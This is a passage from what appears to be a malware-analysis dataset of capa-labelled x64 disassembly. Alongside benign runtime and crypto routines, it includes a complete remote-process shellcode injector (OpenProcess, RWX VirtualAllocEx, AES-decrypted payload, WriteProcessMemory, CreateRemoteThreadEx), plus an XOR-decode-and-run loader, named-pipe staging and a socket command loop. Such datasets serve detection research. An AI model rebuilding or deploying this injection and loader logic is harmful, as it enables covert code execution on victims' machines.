joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001860
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x38
call fcn.1400010c0
call fcn.140001190
call fcn.140001330
xor eax, eax
cmp eax, 1
je 0x140001910
movzx eax, byte [0x140006650]
mov byte [rsp + 0x20], al
cmp byte [rsp + 0x20], 1
je 0x1400018a2
cmp byte [rsp + 0x20], 2
je 0x1400018a9
cmp byte [rsp + 0x20], 3
je 0x1400018b0
jmp 0x14000190b
call fcn.1400013e0
jmp 0x14000190b
call fcn.140001520
jmp 0x14000190b
mov ecx, 0x124f80
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001000
xor r9d, r9d
mov r8d, 1
lea rdx, [0x140006650]
mov rcx, qword [0x140007660]
call qword [sym.imp.WS2_32.dll_recv]
mov r9d, 1
lea r8, [0x1400076d0]
lea rdx, [0x1400076b0]
lea rcx, [0x140006650]
call qword [0x140007668]
mov rcx, qword [0x140007660]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140001873
add rsp, 0x38
ret
Function at 0x141147058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1411471df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141147089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14114706f
add dl, dl
jne 0x141147096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1411470f6
xor eax, eax
add dl, dl
jne 0x1411470a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1411471ad
add dl, dl
jne 0x1411470b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1411470c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1411470d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1411470dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1411470ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14114707e
mov eax, 1
add dl, dl
jne 0x141147106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141147113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1411470fb
sub eax, ebx
mov ebx, 1
jne 0x14114714c
mov ecx, 1
add dl, dl
jne 0x14114712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14114713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141147123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14114707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141147168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141147175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14114715d
cmp eax, 0x7d00
jae 0x14114719b
cmp eax, 0x500
jb 0x141147196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14114707e
cmp eax, 0x7f
ja 0x14114719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14114707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1411471d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14114707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x2fbac13a5
Capabilities:
Create thread

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rdi, rcx
mov ebx, edx
mov ecx, 0x40000
xor edx, edx
mov rbp, r8
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r8d, 0xa
xor edx, edx
mov rsi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8, rax
test ebx, ebx
jle 0x2fbac13f1
movsxd r9, ebx
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov r8, rax
xor eax, eax
cmp ebx, eax
jle 0x2fbac140d
mov rdx, rax
and edx, 7
mov dl, byte [rbp + rdx]
xor dl, byte [rdi + rax]
mov byte [r8 + rax], dl
inc rax
jmp 0x2fbac13f3
mov rcx, r8
mov r9, r8
lea r8, [0x2fbac1370]
call fcn.2fbac1373
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edx
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x2fbac1470
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r8d, r8d
mov r9d, 1
mov rdi, rcx
mov esi, edx
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x4c], edx
mov edx, 2
mov qword [rsp + 0x38], rcx
lea rcx, [0x2fbacc020]
mov dword [rsp + 0x30], r8d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], r8d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov rbx, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x2fbac150f
xor edx, edx
mov rcx, rbx
lea rbp, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x2fbac150f
test esi, esi
jle 0x2fbac14f9
xor eax, eax
mov r9, rbp
mov r8d, esi
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x2fbac1504
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x2fbac150f
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub esi, edx
jmp 0x2fbac14d8
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x2fbac1536
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov rdi, rcx
mov ebx, edx
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x4c], edx
mov edx, 0x80000000
lea rbp, [rsp + 0x4c]
mov qword [rsp + 0x30], rcx
lea rcx, [0x2fbacc020]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
xor eax, eax
cmp rsi, 0xffffffffffffffff
je 0x2fbac15c7
test ebx, ebx
jle 0x2fbac15ac
xor eax, eax
mov r9, rbp
mov r8d, ebx
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x2fbac15bc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x2fbac15c7
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub ebx, edx
jmp 0x2fbac158b
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x2fbac1628
Capabilities:
Create thread

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, qword [0x2fbac9650]
movsxd rcx, dword [rsi + 4]
call sub.msvcrt.dll_malloc
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, rax
mov ecx, 0x400
call rdi
mov edx, dword [rsi + 4]
mov rcx, rbx
call fcn.2fbac1536
test eax, eax
je 0x2fbac15f1
mov edx, dword [rsi + 4]
lea r8, [rsi + 8]
mov rcx, rbx
call fcn.2fbac13a5
mov rcx, rbx
call sub.msvcrt.dll_free
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov r8d, 0x5c
lea rcx, [0x2fbacc020]
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cnetsvc_d
call fcn.2fbac1440
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edx
xor r9d, r9d
lea r8, [0x2fbac1518]
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp 0x2fbac15d0

Function at 0x2fbac16e7
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x2fbac1717
xor edx, edx
xor eax, eax
mov qword [0x2fbacc060], rcx
xor r9d, r9d
mov dword [rsp + 0x20], edx
lea r8, [0x2fbac16d0]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret

Function at 0x2fbac1900
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.2fbac7370
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.2fbac7370
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x2fbac1970
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x2fbacc0b4]
mov rbx, rcx
test esi, esi
jle 0x2fbac1aa0
mov rax, qword [0x2fbacc0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x2fbac19bb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x2fbac1a45
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x2fbac19a0
mov rcx, rbx
call fcn.2fbac21d0
mov rdi, rax
test rax, rax
je 0x2fbac1ac2
mov rax, qword [0x2fbacc0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.2fbac2310
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x2fbacc0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2fbac1aa7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x2fbac1a3e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x2fbac1a50
add dword [0x2fbacc0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x2fbacc0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2fbac1a3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.2fbac1900
nop dword [rax]
xor esi, esi
jmp 0x2fbac19c8
mov rax, qword [0x2fbacc0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.2fbac1900
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.2fbac1900
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x2fbac1e40
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x2fbacc0e0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x2fbacc0c0]
test rbx, rbx
je 0x2fbac1e9c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x2fbac1e93
test rsi, rsi
je 0x2fbac1e93
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x2fbac1e78
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x2fbac21d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2fbac95b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2fbac21f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2fbac21f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2fbac21f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x2fbac224d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x2fbac2244
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x2fbac21f0
add rax, 0x28
cmp rax, r9
jne 0x2fbac2230
xor eax, eax
ret

Function at 0x2fbac2250
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2fbac95b0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x2fbac226f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x2fbac2278
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x2fbac226f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x2fbac2310
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2fbac95b0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x2fbac232f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x2fbac2338
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400066f0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140006700]
mov dword [rax], 1
mov rax, qword [0x140006710]
mov dword [rax], 1
mov rax, qword [0x140006680]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400066e0]
mov dword [0x14000900c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400067c0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400067a0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140006660]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140006740]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140006750]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140009008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x1400066b0]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140006730]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140009028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140009020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140009020], rbp
call dbg.__main
mov rax, qword [0x1400066c0]
mov r8, qword [0x140009018]
mov ecx, dword [0x140009028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140009020]
call sym.main
mov ecx, dword [0x14000900c]
mov dword [0x140009010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140009008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140006750]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140006770]
mov rcx, qword [0x140006760]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140009010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140006790]
mov rcx, qword [0x140006780]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x120
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xb0], ecx
mov qword [rbp + 0xb8], rdx
call dbg.__main
cmp dword [rbp + 0xb0], 2
je 0x140001494
lea rax, str.usage:_._shellcodeInject__PID_
mov rcx, rax
call dbg.printf
mov eax, 1
jmp 0x140001670
mov rax, qword [rbp + 0xb8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x9c], eax
mov eax, dword [rbp + 0x9c]
mov edx, eax
lea rax, str.PID:__ld_n
mov rcx, rax
call dbg.printf
mov eax, dword [rbp + 0x9c]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [0x140009030], rax
mov rax, qword [0x140009030]
test rax, rax
jne 0x14000151a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Error_getting_process_handle___code:__ld_n
mov rcx, rax
call dbg.printf
mov eax, 1
jmp 0x140001670
mov rax, qword [0x140009030]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x201
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [0x140009040], rax
mov eax, dword [rbp + 0x9c]
mov r8d, eax
mov edx, 0x201
lea rax, str.allocated__zu_bytes_into_process:__ld_n
mov rcx, rax
call dbg.printf
lea rax, [rbp - 0x30]
lea r8, [0x140005230]
lea rdx, [0x140005210]
mov rcx, rax
call sym.AES_init_ctx_iv
lea rax, [rbp - 0x30]
mov r8d, 0x201
lea rdx, section..data
mov rcx, rax
call sym.AES_CBC_decrypt_buffer
mov rdx, qword [0x140009040]
mov rax, qword [0x140009030]
mov qword [rsp + 0x20], 0
mov r9d, 0x201
lea r8, section..data
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
lea rax, str.Wrote_payload_into_memory
mov rcx, rax
call sym.puts
mov rax, qword [0x140009040]
mov rcx, rax
mov rax, qword [0x140009030]
lea rdx, [rbp - 0x34]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
call rax
mov qword [0x140009038], rax
mov eax, dword [rbp - 0x34]
mov edx, eax
lea rax, str.Executed_payload_in_thread_ID:__ld_n
mov rcx, rax
call dbg.printf
mov rax, qword [0x140009030]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x140009038]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x120
pop rbp
ret
Function at 0x1400019bf
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov eax, ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov byte [rbp + 0x10], al
mov byte [rbp - 1], 0
jmp 0x140001a58
mov byte [rbp - 2], 0
jmp 0x140001a4e
movzx eax, byte [rbp - 1]
movzx edx, byte [rbp - 2]
mov rcx, qword [rbp + 0x18]
movsxd rdx, edx
cdqe
shl rax, 2
add rax, rcx
add rax, rdx
movzx r8d, byte [rax]
movzx eax, byte [rbp + 0x10]
lea edx, [rax*4]
movzx eax, byte [rbp - 1]
add eax, edx
lea edx, [rax*4]
movzx eax, byte [rbp - 2]
add eax, edx
movsxd rdx, eax
mov rax, qword [rbp + 0x20]
add rax, rdx
movzx edx, byte [rax]
movzx eax, byte [rbp - 1]
movzx ecx, byte [rbp - 2]
xor edx, r8d
mov r8, qword [rbp + 0x18]
movsxd rcx, ecx
cdqe
shl rax, 2
add rax, r8
add rax, rcx
mov byte [rax], dl
add byte [rbp - 2], 1
cmp byte [rbp - 2], 3
jbe 0x1400019e0
add byte [rbp - 1], 1
cmp byte [rbp - 1], 3
jbe 0x1400019da
nop
nop
add rsp, 0x10
pop rbp
ret

Function at 0x140001a6a
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov byte [rbp - 1], 0
jmp 0x140001add
mov byte [rbp - 2], 0
jmp 0x140001ad3
movzx eax, byte [rbp - 2]
movzx edx, byte [rbp - 1]
mov rcx, qword [rbp + 0x10]
movsxd rdx, edx
cdqe
shl rax, 2
add rax, rcx
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
movzx r9d, byte [rbp - 2]
movzx ecx, byte [rbp - 1]
cdqe
lea rdx, str.cw
movzx edx, byte [rax + rdx]
mov r8, qword [rbp + 0x10]
movsxd rcx, ecx
movsxd rax, r9d
shl rax, 2
add rax, r8
add rax, rcx
mov byte [rax], dl
add byte [rbp - 2], 1
cmp byte [rbp - 2], 3
jbe 0x140001a82
add byte [rbp - 1], 1
cmp byte [rbp - 1], 3
jbe 0x140001a7c
nop
nop
add rsp, 0x10
pop rbp
ret

Function at 0x140002595
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov byte [rbp - 1], 0
jmp 0x140002608
mov byte [rbp - 2], 0
jmp 0x1400025fe
movzx eax, byte [rbp - 2]
movzx edx, byte [rbp - 1]
mov rcx, qword [rbp + 0x10]
movsxd rdx, edx
cdqe
shl rax, 2
add rax, rcx
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
movzx r9d, byte [rbp - 2]
movzx ecx, byte [rbp - 1]
cdqe
lea rdx, [0x1400061e0]
movzx edx, byte [rax + rdx]
mov r8, qword [rbp + 0x10]
movsxd rcx, ecx
movsxd rax, r9d
shl rax, 2
add rax, r8
add rax, rcx
mov byte [rax], dl
add byte [rbp - 2], 1
cmp byte [rbp - 2], 3
jbe 0x1400025ad
add byte [rbp - 1], 1
cmp byte [rbp - 1], 3
jbe 0x1400025a7
nop
nop
add rsp, 0x10
pop rbp
ret

Function at 0x14000285b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov byte [rbp - 1], 0
jmp 0x1400028a4
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx r8d, byte [rax]
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x18]
add rax, rdx
movzx ecx, byte [rax]
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x10]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add byte [rbp - 1], 1
cmp byte [rbp - 1], 0xf
jbe 0x140002871
nop
nop
add rsp, 0x10
pop rbp
ret
Function at 0x1400029cc
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp - 8], 0
mov dword [rbp - 0xc], 0x10
jmp 0x140002ac3
cmp dword [rbp - 0xc], 0x10
jne 0x140002a8f
mov rax, qword [rbp + 0x10]
add rax, 0xb0
mov rdx, qword [rax + 8]
mov rax, qword [rax]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rdx, qword [rbp + 0x10]
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.Cipher
mov dword [rbp - 0xc], 0xf
jmp 0x140002a82
mov rdx, qword [rbp + 0x10]
mov eax, dword [rbp - 0xc]
cdqe
movzx eax, byte [rdx + rax + 0xb0]
cmp al, 0xff
jne 0x140002a58
mov rdx, qword [rbp + 0x10]
mov eax, dword [rbp - 0xc]
cdqe
mov byte [rdx + rax + 0xb0], 0
jmp 0x140002a7e
mov rdx, qword [rbp + 0x10]
mov eax, dword [rbp - 0xc]
cdqe
movzx eax, byte [rdx + rax + 0xb0]
lea ecx, [rax + 1]
mov rdx, qword [rbp + 0x10]
mov eax, dword [rbp - 0xc]
cdqe
mov byte [rdx + rax + 0xb0], cl
jmp 0x140002a88
sub dword [rbp - 0xc], 1
cmp dword [rbp - 0xc], 0
jns 0x140002a30
mov dword [rbp - 0xc], 0
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp - 0xc]
cdqe
movzx ecx, byte [rbp + rax - 0x20]
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add qword [rbp - 8], 1
add dword [rbp - 0xc], 1
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x20]
jb 0x1400029f4
nop
nop
add rsp, 0x40
pop rbp
ret

Function at 0x140002da0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
